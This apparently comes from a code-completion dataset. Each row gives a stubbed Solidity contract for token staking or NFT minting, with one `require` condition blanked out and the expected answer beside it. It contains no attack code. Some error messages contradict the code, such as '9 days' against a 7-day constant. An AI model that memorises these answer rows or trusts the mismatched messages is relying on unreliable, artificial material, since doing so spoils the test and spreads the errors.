* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract ShijaStake is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 stakedAmount; // How many Shija tokens the user has provided.
uint256 rewardDebt; // number of reward token user will get got. it is cleared when user stake or unstake token.
uint256 lastDepositTime; // time when user deposited
uint256 unstakeStartTime; // time when when user clicked unstake btn.
uint256 pendingAmount; // # of tokens that is pending of 9 days.
}
event TokenStaked(address user, uint256 amount);
event TokenWithdraw(address user, uint256 amount);
event ClaimToken(address user, uint256 receiveAmount);
event RewardRateSet(uint256 value);
event RewardReceived(address receiver, uint256 rewardAmount);
address public ShijaToken;
mapping (address => UserInfo) public userInfos;
uint256 public totalStakedAmount;
uint256 public rewardRate;
uint256 public UNSTAKE_TIMEOFF = 7 days;
constructor(address _token) {
}
function setRewardRate(uint256 _newRate) public onlyOwner {
}
function stakeToken(uint256 _amount) external nonReentrant updateReward(msg.sender) {
}
/**
9 days Timer will start
**/
function unstakeToken(uint256 _amount, bool isEmergency) external nonReentrant updateReward(msg.sender) {
require(_amount > 0, "invalid deposit amount");
require(<FILL_ME>)
uint256 outAmount = _amount + userInfos[msg.sender].rewardDebt;
if ( isEmergency == true) {
outAmount = outAmount.mul(91).div(100);
}
userInfos[msg.sender].stakedAmount = userInfos[msg.sender].stakedAmount.sub(_amount);
userInfos[msg.sender].rewardDebt = 0;
userInfos[msg.sender].lastDepositTime = block.timestamp;
if ( isEmergency == true) {
// send token to msg.sender.
IERC20(ShijaToken).safeTransfer(msg.sender, outAmount);
emit ClaimToken(msg.sender, outAmount);
return;
}
userInfos[msg.sender].unstakeStartTime = block.timestamp;
userInfos[msg.sender].pendingAmount = userInfos[msg.sender].pendingAmount + outAmount;
emit TokenWithdraw(msg.sender, outAmount);
}
// this function will be called after 9 days. actual token transfer happens here.
function claim() external nonReentrant {
}
function isClaimable(address user) external view returns (bool){
}
function timeDiffForClaim(address user) external view returns (uint256) {
}
function setUnstakeTimeoff(uint256 time_) external onlyOwner {
}
function calcReward(address account) public view returns (uint256) {
}
modifier updateReward(address account) {
}
}
| userInfos[msg.sender].stakedAmount>=_amount,"unstake amount is bigger than you staked" | 128,291 | userInfos[msg.sender].stakedAmount>=_amount |
"invalid time: must be greater than 9 days" | @v4.5.0
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract ShijaStake is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 stakedAmount; // How many Shija tokens the user has provided.
uint256 rewardDebt; // number of reward token user will get got. it is cleared when user stake or unstake token.
uint256 lastDepositTime; // time when user deposited
uint256 unstakeStartTime; // time when when user clicked unstake btn.
uint256 pendingAmount; // # of tokens that is pending of 9 days.
}
event TokenStaked(address user, uint256 amount);
event TokenWithdraw(address user, uint256 amount);
event ClaimToken(address user, uint256 receiveAmount);
event RewardRateSet(uint256 value);
event RewardReceived(address receiver, uint256 rewardAmount);
address public ShijaToken;
mapping (address => UserInfo) public userInfos;
uint256 public totalStakedAmount;
uint256 public rewardRate;
uint256 public UNSTAKE_TIMEOFF = 7 days;
constructor(address _token) {
}
function setRewardRate(uint256 _newRate) public onlyOwner {
}
function stakeToken(uint256 _amount) external nonReentrant updateReward(msg.sender) {
}
/**
9 days Timer will start
**/
function unstakeToken(uint256 _amount, bool isEmergency) external nonReentrant updateReward(msg.sender) {
}
// this function will be called after 9 days. actual token transfer happens here.
function claim() external nonReentrant {
require(<FILL_ME>)
uint256 receiveAmount = userInfos[msg.sender].pendingAmount;
require( receiveAmount > 0, "no available amount" );
require(IERC20(ShijaToken).balanceOf(address(this)) >= receiveAmount, "staking contract has not enough Shija token");
IERC20(ShijaToken).safeTransfer(msg.sender, receiveAmount);
totalStakedAmount = IERC20(ShijaToken).balanceOf(address(this)).sub(receiveAmount);
userInfos[msg.sender].pendingAmount = 0;
userInfos[msg.sender].unstakeStartTime = block.timestamp;
emit ClaimToken(msg.sender, receiveAmount);
}
function isClaimable(address user) external view returns (bool){
}
function timeDiffForClaim(address user) external view returns (uint256) {
}
function setUnstakeTimeoff(uint256 time_) external onlyOwner {
}
function calcReward(address account) public view returns (uint256) {
}
modifier updateReward(address account) {
}
}
| (block.timestamp-userInfos[msg.sender].unstakeStartTime)>=UNSTAKE_TIMEOFF,"invalid time: must be greater than 9 days" | 128,291 | (block.timestamp-userInfos[msg.sender].unstakeStartTime)>=UNSTAKE_TIMEOFF |
"staking contract has not enough Shija token" | @v4.5.0
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract ShijaStake is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 stakedAmount; // How many Shija tokens the user has provided.
uint256 rewardDebt; // number of reward token user will get got. it is cleared when user stake or unstake token.
uint256 lastDepositTime; // time when user deposited
uint256 unstakeStartTime; // time when when user clicked unstake btn.
uint256 pendingAmount; // # of tokens that is pending of 9 days.
}
event TokenStaked(address user, uint256 amount);
event TokenWithdraw(address user, uint256 amount);
event ClaimToken(address user, uint256 receiveAmount);
event RewardRateSet(uint256 value);
event RewardReceived(address receiver, uint256 rewardAmount);
address public ShijaToken;
mapping (address => UserInfo) public userInfos;
uint256 public totalStakedAmount;
uint256 public rewardRate;
uint256 public UNSTAKE_TIMEOFF = 7 days;
constructor(address _token) {
}
function setRewardRate(uint256 _newRate) public onlyOwner {
}
function stakeToken(uint256 _amount) external nonReentrant updateReward(msg.sender) {
}
/**
9 days Timer will start
**/
function unstakeToken(uint256 _amount, bool isEmergency) external nonReentrant updateReward(msg.sender) {
}
// this function will be called after 9 days. actual token transfer happens here.
function claim() external nonReentrant {
require((block.timestamp - userInfos[msg.sender].unstakeStartTime) >= UNSTAKE_TIMEOFF, "invalid time: must be greater than 9 days");
uint256 receiveAmount = userInfos[msg.sender].pendingAmount;
require( receiveAmount > 0, "no available amount" );
require(<FILL_ME>)
IERC20(ShijaToken).safeTransfer(msg.sender, receiveAmount);
totalStakedAmount = IERC20(ShijaToken).balanceOf(address(this)).sub(receiveAmount);
userInfos[msg.sender].pendingAmount = 0;
userInfos[msg.sender].unstakeStartTime = block.timestamp;
emit ClaimToken(msg.sender, receiveAmount);
}
function isClaimable(address user) external view returns (bool){
}
function timeDiffForClaim(address user) external view returns (uint256) {
}
function setUnstakeTimeoff(uint256 time_) external onlyOwner {
}
function calcReward(address account) public view returns (uint256) {
}
modifier updateReward(address account) {
}
}
| IERC20(ShijaToken).balanceOf(address(this))>=receiveAmount,"staking contract has not enough Shija token" | 128,291 | IERC20(ShijaToken).balanceOf(address(this))>=receiveAmount |
"Max supply reached" | pragma solidity ^0.8.15;
contract tt is AccessControl, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
/** ADDRESSES */
address public stakingContract;
address public breedingContract;
address public sharkToken;
/** ROLES */
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant DAO_ROLE = keccak256("DAO_ROLE");
/** EVENTS */
event SetStakingContract(address _stakingContract);
event SetBreedingContract(address _breedingContract);
event SetSharkTokens(address _sharkToken);
function setStakingContract(address _stakingContract)
external
onlyRole(DAO_ROLE)
{
}
function setBreedingContract(address _breedingContract)
external
onlyRole(DAO_ROLE)
{
}
function setSharkTokensContract(address _sharkToken)
external
onlyRole(DAO_ROLE)
{
}
uint256 public MAXIMUM_SUPPLY = 6969;
string public BASE_URI = "ipfs://abcd/";
constructor() ERC721A("AlphaSharks", "ALPHASHARKS") {
}
function _baseURI() internal view override returns (string memory) {
}
function updateBaseURI(string memory _BASE_URI) external onlyOwner {
}
function safeMint(address _to, uint256 quantity)
external
onlyRole(MINTER_ROLE)
{
require(<FILL_ME>)
_safeMint(_to, quantity);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControl, ERC721A)
returns (bool)
{
}
function withdraw() public onlyOwner {
}
}
| totalSupply()+quantity<=MAXIMUM_SUPPLY,"Max supply reached" | 128,542 | totalSupply()+quantity<=MAXIMUM_SUPPLY |
"Reverse data must less than 32 bytes." | pragma solidity ^0.8.7;
//import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract MetaGreetingNFT is ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
bool public isSaleActive = false; //sale active flag.
bool public isPaused = false; //pause flag
bool public isGiftActive = false; //gift with message active flag
bool public isReverseActive = false; //reverse data active flag
bool public manageFlag = true; //manage function flag.
bool public setBaseURIFlag = true; //if can set baseURI, if all nft minted, cann't set baseURI
string baseURI = "";
string public baseExtension = ".json";
// Constants
uint256 public constant MAX_SUPPLY = 2336;
uint256 public maxMint = 5;
uint256 public mintPrice = 0.01 ether; //mint price can be set.0~1000, 0.01, 1000~2000 0.02, 2000~ 0.04
// mapping for messing str
mapping(uint256 => string) private _messages;
mapping(uint256 => bool) private _messagesPublicFlag;
mapping(uint256 => string) private _reverseString; //ever token has 32 reverse string data,foy later use
constructor() ERC721("MetaGreeting NFT", "GREET") {}
//public sale, for public user mint.
function safePublicMint(uint256 tokenQuantity) public payable {
}
//send card as a gift.public function.
function safeGift(address to, uint256 tokenId, string memory mess) public {
}
//set message public, default is false
function setMessagePublic(uint256 tokenId, bool _state) public {
}
//set reverse data
function setReverseString(uint256 tokenId, string memory _data) public {
require(isReverseActive, "Greeting tree not active!");
require(<FILL_ME>)
require(
_msgSender() ==ERC721.ownerOf(tokenId),
"Only token owner can set reverse data."
);
_reverseString[tokenId] = _data;
}
// burn not support in this contract.
//function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
// super._burn(tokenId);
//}
function _baseURI() internal view virtual override returns (string memory) {
}
function _safePublicMint(uint256 tokenQuantity) internal {
}
// gift a greeting card. Greeting message can be set only while giftting.
function _safeGift(address from, address to, uint256 tokenId, string memory mess) internal {
}
function _setBlessMessage(string memory mess, uint256 tokenId) internal {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
//blessing message can get by owner
function getBlessingMessage(uint256 tokenId)
public
view
returns (string memory)
{
}
function getMessagePublicFlag(uint256 tokenId)
public
view
returns (bool)
{
}
function getReverseString(uint256 tokenId)
public
view
returns (string memory)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
//only owner , for manager purpose.
function flipSaleActive() public onlyOwner {
}
function flipPaused() public onlyOwner {
}
function flipGiftActive() public onlyOwner {
}
function flipReverseActive() public onlyOwner {
}
function closeManageFunction(bool _flag) public onlyOwner {
}
function closeSetBaseURIFlag(bool _flag) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
}
| bytes(_data).length<=64,"Reverse data must less than 32 bytes." | 128,652 | bytes(_data).length<=64 |
"Send message must less than 32 bytes." | pragma solidity ^0.8.7;
//import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract MetaGreetingNFT is ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
bool public isSaleActive = false; //sale active flag.
bool public isPaused = false; //pause flag
bool public isGiftActive = false; //gift with message active flag
bool public isReverseActive = false; //reverse data active flag
bool public manageFlag = true; //manage function flag.
bool public setBaseURIFlag = true; //if can set baseURI, if all nft minted, cann't set baseURI
string baseURI = "";
string public baseExtension = ".json";
// Constants
uint256 public constant MAX_SUPPLY = 2336;
uint256 public maxMint = 5;
uint256 public mintPrice = 0.01 ether; //mint price can be set.0~1000, 0.01, 1000~2000 0.02, 2000~ 0.04
// mapping for messing str
mapping(uint256 => string) private _messages;
mapping(uint256 => bool) private _messagesPublicFlag;
mapping(uint256 => string) private _reverseString; //ever token has 32 reverse string data,foy later use
constructor() ERC721("MetaGreeting NFT", "GREET") {}
//public sale, for public user mint.
function safePublicMint(uint256 tokenQuantity) public payable {
}
//send card as a gift.public function.
function safeGift(address to, uint256 tokenId, string memory mess) public {
}
//set message public, default is false
function setMessagePublic(uint256 tokenId, bool _state) public {
}
//set reverse data
function setReverseString(uint256 tokenId, string memory _data) public {
}
// burn not support in this contract.
//function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
// super._burn(tokenId);
//}
function _baseURI() internal view virtual override returns (string memory) {
}
function _safePublicMint(uint256 tokenQuantity) internal {
}
// gift a greeting card. Greeting message can be set only while giftting.
function _safeGift(address from, address to, uint256 tokenId, string memory mess) internal {
require(_exists(tokenId), "Tokenid not exist.");
require(<FILL_ME>)
_transfer(from, to, tokenId);
_setBlessMessage(mess, tokenId);
}
function _setBlessMessage(string memory mess, uint256 tokenId) internal {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
//blessing message can get by owner
function getBlessingMessage(uint256 tokenId)
public
view
returns (string memory)
{
}
function getMessagePublicFlag(uint256 tokenId)
public
view
returns (bool)
{
}
function getReverseString(uint256 tokenId)
public
view
returns (string memory)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
//only owner , for manager purpose.
function flipSaleActive() public onlyOwner {
}
function flipPaused() public onlyOwner {
}
function flipGiftActive() public onlyOwner {
}
function flipReverseActive() public onlyOwner {
}
function closeManageFunction(bool _flag) public onlyOwner {
}
function closeSetBaseURIFlag(bool _flag) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
}
| bytes(mess).length<=64,"Send message must less than 32 bytes." | 128,652 | bytes(mess).length<=64 |
"Only token owner can read messages." | pragma solidity ^0.8.7;
//import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract MetaGreetingNFT is ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
bool public isSaleActive = false; //sale active flag.
bool public isPaused = false; //pause flag
bool public isGiftActive = false; //gift with message active flag
bool public isReverseActive = false; //reverse data active flag
bool public manageFlag = true; //manage function flag.
bool public setBaseURIFlag = true; //if can set baseURI, if all nft minted, cann't set baseURI
string baseURI = "";
string public baseExtension = ".json";
// Constants
uint256 public constant MAX_SUPPLY = 2336;
uint256 public maxMint = 5;
uint256 public mintPrice = 0.01 ether; //mint price can be set.0~1000, 0.01, 1000~2000 0.02, 2000~ 0.04
// mapping for messing str
mapping(uint256 => string) private _messages;
mapping(uint256 => bool) private _messagesPublicFlag;
mapping(uint256 => string) private _reverseString; //ever token has 32 reverse string data,foy later use
constructor() ERC721("MetaGreeting NFT", "GREET") {}
//public sale, for public user mint.
function safePublicMint(uint256 tokenQuantity) public payable {
}
//send card as a gift.public function.
function safeGift(address to, uint256 tokenId, string memory mess) public {
}
//set message public, default is false
function setMessagePublic(uint256 tokenId, bool _state) public {
}
//set reverse data
function setReverseString(uint256 tokenId, string memory _data) public {
}
// burn not support in this contract.
//function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
// super._burn(tokenId);
//}
function _baseURI() internal view virtual override returns (string memory) {
}
function _safePublicMint(uint256 tokenQuantity) internal {
}
// gift a greeting card. Greeting message can be set only while giftting.
function _safeGift(address from, address to, uint256 tokenId, string memory mess) internal {
}
function _setBlessMessage(string memory mess, uint256 tokenId) internal {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
//blessing message can get by owner
function getBlessingMessage(uint256 tokenId)
public
view
returns (string memory)
{
require(isGiftActive, "Gift and message function not active!");
require(_exists(tokenId), "Tokenid not exist.");
require(<FILL_ME>)
return _messages[tokenId];
}
function getMessagePublicFlag(uint256 tokenId)
public
view
returns (bool)
{
}
function getReverseString(uint256 tokenId)
public
view
returns (string memory)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
//only owner , for manager purpose.
function flipSaleActive() public onlyOwner {
}
function flipPaused() public onlyOwner {
}
function flipGiftActive() public onlyOwner {
}
function flipReverseActive() public onlyOwner {
}
function closeManageFunction(bool _flag) public onlyOwner {
}
function closeSetBaseURIFlag(bool _flag) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
}
| _msgSender()==ERC721.ownerOf(tokenId)||_messagesPublicFlag[tokenId],"Only token owner can read messages." | 128,652 | _msgSender()==ERC721.ownerOf(tokenId)||_messagesPublicFlag[tokenId] |
"Request exceeds max mint per address" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.12 <=0.8.18;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract DownBadPepes is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
// STATE VARIABLES //
/// @notice Funds withdrawal address.
address payable public withdrawalAddress;
/// @notice Boolean for enabling and disabling public minting.
bool public publicMintingStatus;
/// @notice Boolean for whether collection is revealed or not.
bool public revealedStatus;
/// @notice Mapping for number of NFTs minted by an address.
mapping(address => uint256) public addressMinted;
/// @notice Revealed metadata url prefix.
string public metadataURLPrefix;
/// @notice Revealed metadata url suffix.
string public metadataURLSuffix = ".json";
/// @notice Not revealed metadata url.
string public notRevealedMetadataURL;
/// @notice Max mint per wallet.
uint256 public maxMintPerAddress = 9;
/// @notice Collection max supply.
uint256 public maxSupply = 6969;
/// @notice Price of one NFT.
uint256 public price = 0.004 ether;
/// @notice Free mint per wallet.
uint256 public freeMintPerAddress = 1;
constructor() ERC721A("Down Bad Pepes","DP") {}
// PUBLIC FUNCTION, WRITE CONTRACT FUNCTION //
/**
* @notice Public payable function.
* Function mints a specified amount of tokens to the caller's address.
* Requires public minting status to be true.
* Requires sufficient ETH to execute.
* Enter the amount of tokens to be minted in the amount field.
*/
function publicMint(uint256 amount) public payable {
require(publicMintingStatus == true, "Public mint status false, requires to be true");
require(Address.isContract(msg.sender) == false, "Caller is a contract");
require(<FILL_ME>)
require(totalSupply() + amount <= maxSupply, "Request exceeds max supply");
if (addressMinted[msg.sender] + amount <= freeMintPerAddress) {
_safeMint(msg.sender, amount);
addressMinted[msg.sender] += amount;
}
else if (addressMinted[msg.sender] + amount > freeMintPerAddress && addressMinted[msg.sender] + amount <= maxMintPerAddress) {
require(msg.value >= price * ((addressMinted[msg.sender] + amount) - freeMintPerAddress), "Not enough funds");
_safeMint(msg.sender, amount);
addressMinted[msg.sender] += amount;
}
}
// SMART CONTRACT OWNER ONLY FUNCTIONS, WRITE CONTRACT FUNCTIONS //
/**
* @notice Smart contract owner only function.
* Function airdrops a specified amount of tokens to an array of addresses.
* Enter the recepients in an array form like this [address1,address2,address3] in the recipients field and enter the amount of NFTs to be airdropped to each recipient in the amount field.
*/
function airdrop(address[] calldata recipients, uint256 amount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function can mint different quantities of NFTs in batches to the recipient.
* Enter the recipient's address in the recipient field.
* Enter the NFT quantity for each batch in an array form in the nftQuantityForEachBatch field.
* For example if the nftQuantityForEachBatch array is like this [30,50,70] in total 150 NFTs would be minted in batches of 30, 50 and 70.
*/
function mintInBatches(address recipient, uint256[] calldata nftQuantityForEachBatch) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the free mint per address amount.
* Enter the new free mint per address in the freeMintAmount field.
* The freeMintAmount must be less than or equal to the maxMintPerAddress.
*/
function setFreeMintPerAddress(uint256 freeMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the max mint per address amount.
* Enter the new max mint per address in the maxMintAmount field.
* The maxMintAmount must be less than or equal to the maxSupply.
*/
function setMaxMintPerAddress(uint256 maxMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets a new max supply of tokens which can be minted from the contract.
* Enter the new max supply in the newMaxSupply field.
* The newMaxSupply must be greater than or equal to the totalSupply.
*/
function setMaxSupply(uint256 newMaxSupply) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url prefix.
* Enter the new metadata url prefix in the newMetadataURLPrefix field.
*/
function setMetadataURLPrefix(string memory newMetadataURLPrefix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url suffix.
* Enter the new metadata url suffix in the newMetadataURLSuffix field.
*/
function setMetadataURLSuffix(string memory newMetadataURLSuffix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the not revealed metadata url.
* Enter the new not revealed metadata url in the newNotRevealedMetadataURL field.
*/
function setNotRevealedMetadataURL(string memory newNotRevealedMetadataURL) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the price for minting a single NFT.
* Enter the new price in the newPrice field, entered price must be in wei, check ether to wei conversion.
*/
function setPrice(uint256 newPrice) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the public minting status.
* Enter the word true in the status field to enable public minting.
* Enter the word false in the status field to disable public minting.
*/
function setPublicMintingStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the revealed status for the collection.
* Enter the word true in the status field to reveal the collection.
* Enter the word false in the status field to hide or unreveal the collection.
*/
function setRevealedStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the withdrawal address for the funds in the smart contract.
* Enter the new withdrawal address in the newWithdrawalAddress field.
* To withdraw to a payment splitter smart contract,
* enter the payment splitter smart contract's contract address in the newWithdrawalAddress field.
*/
function setWithdrawalAddress(address newWithdrawalAddress) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the funds in the smart contract to the withdrawal address.
* Enter the number 0 in the withdraw field to withdraw the funds successfully.
*/
function withdraw() public payable onlyOwner nonReentrant {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the ERC20 token amount accumulated in the smart contract to the entered account address.
* Enter the ERC20 token contract address in the token field, the address to which the accumulated ERC20 tokens would be transferred in the account field and the amount of accumulated ERC20 tokens to be transferred in the amount field.
*/
function withdrawERC20(IERC20 token, address account, uint256 amount) public onlyOwner {
}
// OVERRIDDEN PUBLIC WRITE CONTRACT FUNCTIONS: OpenSea's Royalty Filterer Implementation. //
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
// GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns all the NFT tokenIds owned by an address.
* Enter the address in the owner field.
* Click on query after filling out the field.
*/
function walletOfOwner(address owner) public view returns (uint256[] memory ownedTokenIds) {
}
/**
* @notice Function scans and returns all the NFT tokenIds owned by an address from startTokenId till stopTokenId.
* startTokenId must be equal to or greater than zero and smaller than stopTokenId.
* stopTokenId must be greater than startTokenId and smaller or equal to totalSupply.
* Enter the tokenId from where the scan is to be started in the startTokenId field.
* Enter the tokenId till where the scan is to be done in the stopTokenId field.
* For example, if startTokenId is 10 and stopTokenId is 80, the function will return all the NFT tokenIds owned by the address from tokenId 10 till tokenId 80.
* Click on query after filling out all the fields.
*/
function walletOfOwnerInRange(address owner, uint256 startTokenId, uint256 stopTokenId) public view returns (uint256[] memory ownedTokenIds) {
}
// OVERRIDDEN GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns the URI for a NFT tokenId.
* Enter the tokenId of the NFT in tokenId field.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// INTERNAL FUNCTIONS //
/// @notice Internal function which is called by the tokenURI function.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Internal function which ensures the first minted NFT has tokenId as 1.
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| addressMinted[msg.sender]+amount<=maxMintPerAddress,"Request exceeds max mint per address" | 128,863 | addressMinted[msg.sender]+amount<=maxMintPerAddress |
"Request exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.12 <=0.8.18;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract DownBadPepes is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
// STATE VARIABLES //
/// @notice Funds withdrawal address.
address payable public withdrawalAddress;
/// @notice Boolean for enabling and disabling public minting.
bool public publicMintingStatus;
/// @notice Boolean for whether collection is revealed or not.
bool public revealedStatus;
/// @notice Mapping for number of NFTs minted by an address.
mapping(address => uint256) public addressMinted;
/// @notice Revealed metadata url prefix.
string public metadataURLPrefix;
/// @notice Revealed metadata url suffix.
string public metadataURLSuffix = ".json";
